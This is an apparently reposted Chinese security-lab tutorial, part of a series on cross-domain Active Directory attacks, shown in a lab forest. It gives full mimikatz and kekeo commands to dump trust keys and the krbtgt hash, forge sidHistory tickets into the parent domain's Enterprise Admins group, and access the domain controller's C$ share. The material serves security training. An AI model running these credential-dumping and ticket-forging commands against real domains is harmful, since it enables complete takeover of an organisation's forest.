跨域攻击分析和防御(中)
2023-12-4 18:5:21 Author: Ms08067安全实验室(查看原文) 阅读量:13 收藏

点击星标,即时接收最新推文

利用域信任密钥获取目标域权限

搭建符合条件域环境,域林内信任环境搭建情况如下,如图7-8所示。

父域域控:dc.test.com (Windows Server 2008 R2)

子域域控:subdc.test.com (Windows Server 2012 R2)

子域内计算机:pc.sub.test.com (Windows 7)

子域内普通用户:sub\test

图 7-8 域林内信任环境

工具mimikatz可以在域控制器上导出并伪造信任密钥,工具kekeo可以请求访问目标域中目标服务的TGS票据。使用这两个工具我们便可以伪造具有sidHistory的票据,然后获取目标域的权限。
mimikatz下载地址:https://github.com/gentilkiwi/mimikatzkekeo下载地址: https://github.com/gentilkiwi/kekeo在subdc.test.com上使用mimikatz获取所需要的信息,命令如下所示。Mimikatz.exe privilege::debug “lsadump::lsa /patch /user:test$” “lsadump::trust /patch” exit
结果如图7-9中所示。①为当前域的sid,图7-9中②为目标域的sid,图7-9中③为信任密钥,这里使用了两种方法获取信任密钥,实际操作时选择一种即可。获取信息后的其它操作在域内计算机(pc.sub.test.com)上使用普通域用户权限(sub\test)执行即可。

图 7-9 使用mimikatz获取所需要的信息

接着使用Mimikatz创建伪造的信任票证,输入如下命令。

Mimikatz “Kerberos::golden /domain:sub.test.com /sid:S-1-5-21-760703389-4049654021-3164156691 /sids:S-1-5-21-1768352640-692844612-1315714220-519 /rc4:e7f934e89f77e079121b848b8628c347 /user:DarthVader /service:krbtgt /target:test.com /ticket:test.kirbi” exit

命令中domain参数指定当前域名,sid参数指定当前域的sid,sids参数指定目标域的sid-519,代表我们伪造的用户属于目标域企业管理员组,rc4参数指定信任密钥,user参数指定伪造的用户名,service参数指定需要访问的目标服务,target参数指定目标域名,ticket参数指定保存票据的文件名,如图7-10所示。

注:第一次访问域控时的提示文字重复是mimikatz执行时导致的输出异常。 

图 7-10使用Mimikatz创建伪造的信任票证

利用创建的名为test.kirbi的Trust Ticket文件获取目标域中目标服务的TGS并保存到文件中,输入如下命令,如图7-11所示。

Asktgs test.kirbi CIFS/DC.test.com

图 7-11取目标域中目标服务的TGS

然后将获取到的TGS票据注入到内存中,输入如下命令,结果如图7-12所示。

Kirbikator lsa CIFS.DC.test.com.kirbi

最后就可输入下列命令,使用伪造的权限成功访问目标服务,如图7-12所示。

dir \\dc.test.com\C$

图 7-12TGS票据注入到内存并访问目标服务

利用krbtgt哈希获取目标域权限

Mimikatz可以在构建黄金票据时设置sidHistory,因此如果攻击者获取了林内任意域的krbtgt哈希,就可以利用sidHistory获得整个林的完整权限。

首先通过powerview在域内计算机(pc.sub.test.com)上使用普通域用户(sub\test)权限获取当前域和目标域的sid,如图7-13所示。

Powerview mimikatzhttps://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

图 7-13获取当前域和目标域的sid

注:常用获取域用户sid方法

u wmic useraccount get name,sidu whoami /useru adfind.exe -sc u:test|findstr sidu Powerview
在域控上使用mimikatz获取krbtgt哈希,这里介绍了两种方法,实际操作时选用其中一种即可,如图7-14所示。
l 命令1:mimikatz.exe privilege::debug “lsadump::lsa /patch /user:krbtgt” sekurlsa::krbtgt exitl 命令2:sekurlsa::krbtgt

图 7-14获取krbtgt哈希

在子域内计算机(pc.sub.test.com)上使用普通用户权限(sub\test)构造并注入黄金票据,即可获取目标域的权限。命令如下。

Mimikatz “Kerberos::golden /user:Administrator /domain:sub.test.com /sid:S-1-5-21-760703389-4049654021-3164156691 /sids:S-1-5-21-1768352640-692844612-1315714220-519 /krbtgt:7ca9fc3b5aa4776f017bfc29649b36f5 /ptt” exit

命令中user参数指定了伪造的用户名,domain参数指定当前域名,sid参数指定当前域的sid,sids参数指定目标域的sid-519,代表我们伪造的用户属于目标域企业管理员组,krbtgt参数指定krbtgt哈希,ptt代表将票据注入到内存中,如图7-15所示。

最后就可输入下列命令,成功访问目标服务,如图7-15所示。

dir \\dc.test.com\C$

图 7-15获取目标域的权限

MS08067安全实验室视频号已上线
欢迎各位同学关注转发~

—  实验室旗下直播培训课程  —

和20000+位同学加入MS08067一起学习


文章来源: http://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247516494&idx=2&sn=f100762a3c42ebad3ecd95f5bc406724&chksm=fc3c384fcb4bb1597caddfefa1c9e50d98d8153714e0be09190c4a74fb7d857f94fe654f851e&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh